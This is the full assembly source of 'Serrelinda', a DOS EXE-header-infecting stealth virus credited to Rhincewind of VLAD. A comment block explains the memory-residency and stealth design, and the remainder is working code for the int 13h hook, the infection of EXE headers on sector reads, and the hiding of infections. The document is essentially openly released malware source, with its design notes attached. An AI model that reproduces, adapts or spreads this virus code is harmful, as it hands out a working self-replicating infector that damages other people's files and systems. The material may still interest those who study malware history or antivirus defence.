; Serrelinda, an EXE header infector by Rhincewind [Vlad] ; ; This is a fullstealth header infector with a twist: it goes resident ; underneath the hosting program, does not convert hosts to COM structure ; and is capable of restoring the host in memory (no reexecution). ; In short, it's the old principle all over again in a new implementation. ; ; Viruscode is inserted into the zerospace in suitable EXE headers, suitable ; meaning: no relocation items and a headersize of 512 bytes. The trick is ; to set the headersize to 32 bytes, and just zero CS:IP. This will cause ; the viruscode to be loaded below the host's code, giving the following ; memory order: MCB PSP VIRUS HOST. The virus switches context before copying ; itself over the PSP. The original MCB is adjusted to reflect the virussize ; and interpreter-ownership, and a 2nd MCB is created above the viruscode. ; Finally, a new PSP is created, and we have: MCB VIRUS MCB PSP HOST which ; is in a word, great. The only drawback is the memory fragmentation ; caused by the environment block no longer being attached to it's owning ; PSP. (non-consecutive MCBs with same ID field). ; ; Header infection is done on sector reads. A suitable header is read, ; infected, written back and then stealthed before it's returned. ; This is Serrelinda's safeguard. If ever you infect some files by accident, ; just copy them and reboot. Voila, la disinfection. ; ; Oh FYI, TbClean bails on int 21, ah=55 or ah=26 (create PSP). ; More on Frans' jumptables later. ; ; Rhince. .model tiny .code org 0 viruslen equ (endvirus-start) start: xor di,di mov si,di mov bx, word ptr ds:[si+16h] mov ah, 50h int 21h mov cx, 00ffh push cx push word ptr ds:[si+2ch] push cs pop ds rep movsb mov virseg,es jmp $+2 db 0eah dw offset low_entry virseg dw 0 low_entry: mov cx, viruslen-0ffh rep movsb mov ax,cs dec ax mov ds,cx mov si,13h*4 movsw movsw mov si,ds mov ds,ax mov di, 1d0h mov al, 'M' xchg al, byte ptr ds:[si] stosb scasw mov word ptr ds:[si+1],bx mov ax, 01dh xchg word ptr ds:[si+3],ax sub ax, word ptr ds:[si+3] stosw mov dx,es add dx,1eh mov ah, 55h int 21h mov word ptr es:[di-4],dx pop cx dec cx mov es,cx mov word ptr es:[1],dx push dx mov ax, offset int13+10h mov dx, 2513h xchg ax,dx int 21h installed: pop bx mov ds,bx mov es,bx add bx, 10h add word ptr cs:[jmp_cs],bx inc cx mov word ptr ds:[2ch], cx pop cx xor ax,ax mov bx,ax mov si,ax mov di,sp jmp $+2 db 0eah jmp_ip dw 0 jmp_cs dw -10h int13: cmp ah,2 jz do_it go_go_int13: jmp go_int13 do_it: pushf call dword ptr cs:int13offset+10h push ax pushf jc go_wrong_file mov ax, word ptr es:[bx] xor al,ah cmp al, 4dh xor 5ah jz exe_file go_wrong_file: jmp wrong_file_bubba db '[Serrelinda], Rhince/VLAD' exe_file: xor ax,ax cmp word ptr es:[bx+6],ax jnz go_wrong_file cmp word ptr es:[bx+1ah],ax jnz go_wrong_file cmp word ptr es:[bx+20h],0FF33h jz mr_stealth cmp word ptr es:[bx+8],20h jnz go_wrong_file infect: add word ptr es:[bx+0eh],20h mov ax, word ptr es:[bx+14h] mov word ptr cs:[jmp_ip+10h],ax mov ax, word ptr es:[bx+16h] mov word ptr cs:[jmp_cs+10h],ax mov word ptr es:[bx+8],2 push cx push si push di push ds push cs pop ds mov si, 10h lea di, [bx+20h] mov cx, (endvirus-start) cld rep movsb mov word ptr es:[bx+14h], cx mov word ptr es:[bx+16h], cx xchg ax,cx pop ds pop di pop si pop cx add ax, 0301h int 13h mr_stealth: sub word ptr es:[bx+0eh],20h mov ax, word ptr es:[bx+jmp_ip+20h] mov word ptr es:[bx+14h],ax mov ax, word ptr es:[bx+jmp_cs+20h] mov word ptr es:[bx+16h],ax mov word ptr es:[bx+8],20h push cx push di cld mov cx, (endvirus-start) lea di, [bx+20h] xor al,al rep stosb pop di pop cx wrong_file_bubba: popf pop ax retf 2 go_int13: db 0eah endvirus: int13offset dw 0 int13seg dw 0 end start